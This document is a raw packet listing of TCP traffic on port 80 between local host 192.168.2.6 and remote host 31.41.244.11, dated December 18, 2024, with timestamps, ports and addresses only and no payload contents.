Dec 18, 2024 11:09:46.651166916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.651171923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.651206970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.651386023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.651513100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.653090954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.653126001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.653158903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.653167963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.653178930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.653218031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.654592037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.654632092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.654666901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.654676914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.655420065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.655456066 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.655472040 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.655491114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.655499935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.655538082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.656722069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.656759977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.656793118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.656809092 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.658663988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.658699036 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.658724070 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.658734083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.658742905 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.658770084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.658778906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.658807993 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.659389019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.659444094 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.659538984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.659589052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.661324978 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.661361933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.661391020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.661396980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.661401987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.661437035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.662435055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.662471056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.662499905 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.662512064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.662635088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.662691116 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.663419008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.663495064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.664482117 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.664518118 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.664535999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.664554119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.664571047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.664707899 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.665498018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.665544987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.666575909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.666611910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.666649103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.666650057 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.666671038 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.666687012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.667551994 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.667643070 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.668081045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.668226004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.668505907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.668550968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.668781996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.668842077 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.670622110 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.670658112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.670676947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.670692921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.670697927 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.670727968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.670731068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.670782089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.672969103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.673003912 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.673022985 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.673043013 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.673054934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.673090935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.673094988 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.673130035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.674738884 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.674773932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.674793959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.674809933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.674823999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.674846888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.675556898 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.675607920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.676973104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.677007914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.677025080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.677042961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.677045107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.677093029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.677098036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.677134037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.678838015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.678872108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.678893089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.678906918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.678910017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.678947926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.679538965 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.679586887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.683538914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.683589935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.816838980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.816895962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.817208052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.817255974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.817393064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.817600012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.817694902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.817739964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.817837000 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.817904949 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.818869114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.818922043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.818948984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.819021940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.819576025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.819598913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.819619894 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.819633961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.820426941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.820475101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.820628881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.820672989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.821438074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.821476936 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.822299004 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.822341919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.822504997 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.822540045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.822552919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.822581053 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.823513031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.823560953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.823610067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.823646069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.824572086 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.824613094 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.824762106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.824799061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.825599909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.825640917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.826675892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.826687098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.826698065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.826711893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.826733112 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.827646017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.827692032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.827915907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.827956915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.828711987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.828989983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.829041004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.829762936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.829775095 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.829813957 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.829839945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.830775023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.830821037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.831026077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.831069946 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.831814051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.831856966 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.831999063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.832042933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.832951069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.832988024 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.832994938 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.833028078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.833877087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.833888054 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.833925962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.834857941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.834903002 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.835690022 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.835742950 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.835913897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.835926056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.835961103 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.836910009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.836952925 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.837107897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.837152958 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.838001966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.838046074 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.838099003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.838144064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.838963985 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.839006901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.839157104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.839211941 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.840054989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.840097904 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.840199947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.840240002 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.841032028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.841077089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.841752052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.841790915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.842070103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.842112064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.842331886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.842372894 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.843099117 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.843138933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.843369961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.843411922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.844132900 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.844152927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.844208002 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.845308065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.845352888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.846004963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.846050978 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.846276045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.846318007 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.846587896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.846630096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.847229958 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.847271919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.847414970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.847456932 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.848236084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.848278999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.848337889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.848380089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.849251986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.849292994 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.850703001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.850749016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.850939035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.850980043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.851016045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.851058006 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.851893902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.851958036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.852256060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.852307081 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.852633953 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.852677107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.853096008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.853138924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.853494883 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.853507042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.853537083 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.854430914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.854476929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.854717016 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.854760885 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.855539083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.855582952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.856214046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.856257915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.856693029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.856735945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.857203007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.857244968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.857711077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.857754946 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.858011961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.858053923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.858608007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.858652115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.858875990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.858917952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.859695911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.859740019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.859780073 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.859924078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.860629082 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.860761881 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.861008883 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.861066103 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.861700058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.861711025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.861745119 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.861763954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.862694025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.862739086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.863154888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.863199949 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.863881111 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.863924026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.863977909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.864027023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.864767075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.864811897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.864999056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.865046024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.865834951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.865852118 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.865881920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.865890980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.866847992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.866894960 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.867846966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.867892981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.868000031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.868011951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.868041992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.868052959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.868896961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.868942976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.869431973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.869474888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.870102882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.870156050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.870179892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.870223045 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.007852077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.007930040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.007983923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.008210897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.008696079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.008740902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.009291887 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.009335041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.009401083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.010325909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.010365009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.010368109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.011359930 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.011411905 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.011441946 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.011482000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.012351036 CET	80	49966	31.41.244.11	192.168.2.6
